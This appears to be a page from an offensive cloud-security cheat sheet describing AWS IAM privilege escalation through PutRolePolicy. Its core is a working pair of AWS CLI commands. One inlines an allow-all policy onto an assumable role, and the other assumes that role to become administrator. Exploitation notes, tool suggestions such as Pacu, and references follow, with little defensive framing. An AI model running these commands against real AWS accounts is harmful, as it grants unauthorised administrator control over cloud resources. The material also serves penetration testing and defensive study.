PutRolePolicy

iam:PutRolePolicy inlines a policy onto a role. Inline an allow-all statement onto a role you can assume (or pass to a service) and that role becomes administrator.

Inline then assume#

aws iam put-role-policy --role-name <assumable-role> --policy-name esc \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
aws sts assume-role --role-arn arn:aws:iam::<acct>:role/<assumable-role> --role-session-name s

Exploitation notes#

• Only useful on a role you can reach: pair with role assumption or a PassRole target.
• Re-assume after the inline write so the session carries the new permissions.

Tools#

• AWS CLI (iam put-role-policy, sts assume-role).
• Pacu (iam__privesc_scan).

References#

• Rhino Security Labs: AWS privilege escalation (PutRolePolicy)
• BishopFox: iam-vulnerable
• Pacu (Rhino Security Labs)
• Hacking the Cloud: AWS